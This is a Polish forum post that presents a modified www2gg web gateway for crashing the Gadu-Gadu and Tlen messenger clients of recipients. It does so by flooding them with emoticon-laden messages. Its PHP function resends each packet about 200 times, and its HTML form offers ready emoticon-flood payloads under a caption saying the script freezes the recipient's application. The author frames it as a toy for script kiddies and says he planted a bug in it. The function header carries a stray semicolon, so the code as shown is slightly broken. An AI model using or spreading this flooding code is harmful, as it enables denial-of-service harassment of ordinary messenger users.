Jak juz pewnie wszyscy slyszeli w gg i tlenie jest luka (duzo obrazkow= duze obciazenie cpu)==zawieszenie komunikatora
w tym arcie chce tylko zaprezentowac zmodyfikowana bramke www2gg jako pewna rodzaju zabawke dla script kiddies , jednakrze umieszczam w niej blad ktory kazdy programista odrazu poprawi...
oto kod zmienionej funkcji
Kod: ################### #to nas interesuje# ################### function wyslij_wiadomosc($adresat, $tresc, $potwierdzenie = TRUE); { $tresc = txt::iso2cp($tresc); $seq = mt_rand(); $data = pack("VVVVVa".strlen($tresc)."C", GG_SEND_MSG, 0x0d + strlen($tresc), $adresat, $seq, ($potwierdzenie)?GG_CLASS_MSG:GG_CLASS_MSG | GG_CLASS_ACK, $tresc, 0); $this->Debug("Wyslano pakiet wiadomo¶ci : ".bin2hex($data), $data); $this->status_dostarczenia[$seq] = FALSE; //zmieni sie przy otrzymaniu potwierdzenia for($z=2;$z<=200;$z++){ fwrite($this->fp, $data); } if (!fwrite($this->fp, $data)) return FALSE;
return $seq; } #################### #koniec tej funkcji# ####################
teraz kod index.html:
Kod:
<HTML> <HEAD> <TITLE>Bramka www2gg</TITLE> <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-2"> </HEAD>
<BODY> <div align="left"></div> <FORM NAME="www2gg" METHOD="post" ACTION="www2gg.php"> <P ALIGN="LEFT"> SKRYPT ZAWIESZA APLIKACJE ODBIORCY ;] <BR>
<BR> Odbiorca : <INPUT TYPE="text" NAME="adresat" MAXLENGTH="7" SIZE="7" VALUE=""> <br><select name="tresc"><option value=":*:*:*:*:*:*:*:*:*:*:*:*:*:*:*:*:*:*:*:*:*:*:*:*:*:*:*:*: *:*:*:*:*:*:*:*:*:*:*:*:*:*:*:*:*:*:*:*:*:*:*:*:*:*:*:*:*:*:*:*: *:*:*:*:*:*:*:*:*:*:*:*:*:*:*:*:*:*:*:*:*:*:*:*:*:*:*:*:*:*:*:*: *:*:*:*:*:*:*:*:*:*:*:*:*:*:*:*:*:*:*:*:*:*:*:*:*:*:*:*:*:*"> gadu gadu </option><option value="<U¦MIECH><U¦MIECH><U¦MIECH><U¦MIECH& gt;<U¦MIECH><U¦MIECH><U¦MIECH><U¦MIECH>& lt;U¦MIECH><U¦MIECH><U¦MIECH><U¦MIECH><U ¦MIECH><U¦MIECH><U¦MIECH><U¦MIECH><U¦MIE CH><U¦MIECH><U¦MIECH><U¦MIECH><U¦MIECH&g t;<U¦MIECH><U¦MIECH><U¦MIECH><U¦MIECH>&l t;U¦MIECH><U¦MIECH><U¦MIECH><U¦MIECH><U¦ MIECH><U¦MIECH><U¦MIECH><U¦MIECH><U¦MIEC H><U¦MIECH><U¦MIECH>">TLEN</option></ select> <INPUT TYPE="submit" NAME="Submit" VALUE="Wyslij"> </P> <P ALIGN="LEFT"><BR> </P> </FORM> <P> </P> </BODY> </HTML>
i to by bylo na tyle...
|